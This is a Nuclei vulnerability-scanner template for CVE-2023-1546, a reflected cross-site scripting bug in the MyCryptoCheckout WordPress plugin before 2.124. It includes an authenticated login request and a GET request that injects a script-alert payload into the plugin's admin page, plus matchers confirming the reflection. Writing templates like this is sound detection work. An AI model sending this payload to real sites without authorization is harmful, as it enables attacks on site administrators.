nuclei-templates/http/cves/2023/CVE-2023-1546.yaml

51 lines
1.8 KiB
YAML

id: CVE-2023-1546
info:
name: MyCryptoCheckout < 2.124 - Cross-Site Scripting
author: Harsh
severity: medium
description: |
The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.
remediation: Fixed in version 2.124
reference:
- https://wpscan.com/vulnerability/bb065397-370f-4ee1-a2c8-20e4dc4415a0
- https://nvd.nist.gov/vuln/detail/CVE-2023-1546
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1546
cwe-id: CWE-79
epss-score: 0.00071
epss-percentile: 0.29563
cpe: cpe:2.3:a:plainviewplugins:mycryptocheckout:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: plainviewplugins
product: mycryptocheckout
framework: wordpress
tags: cve,cve2023,wordpress,wp,wp-plugin,xss,wpscan,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "scriptalert(/XSS/)/script")'
- 'contains(body_2, "mycryptocheckout")'
condition: and
# digest: 4a0a00473045022100f1e48c2b5c374f2c2621f933c47904832e4f57db7ec1c1ad2d461aa70787fbef022000893500b7cd16333dbcbb09e121f192437922d74f277d482b16b2bf75e7de06:922c64590222798bb761d5b6d8e72950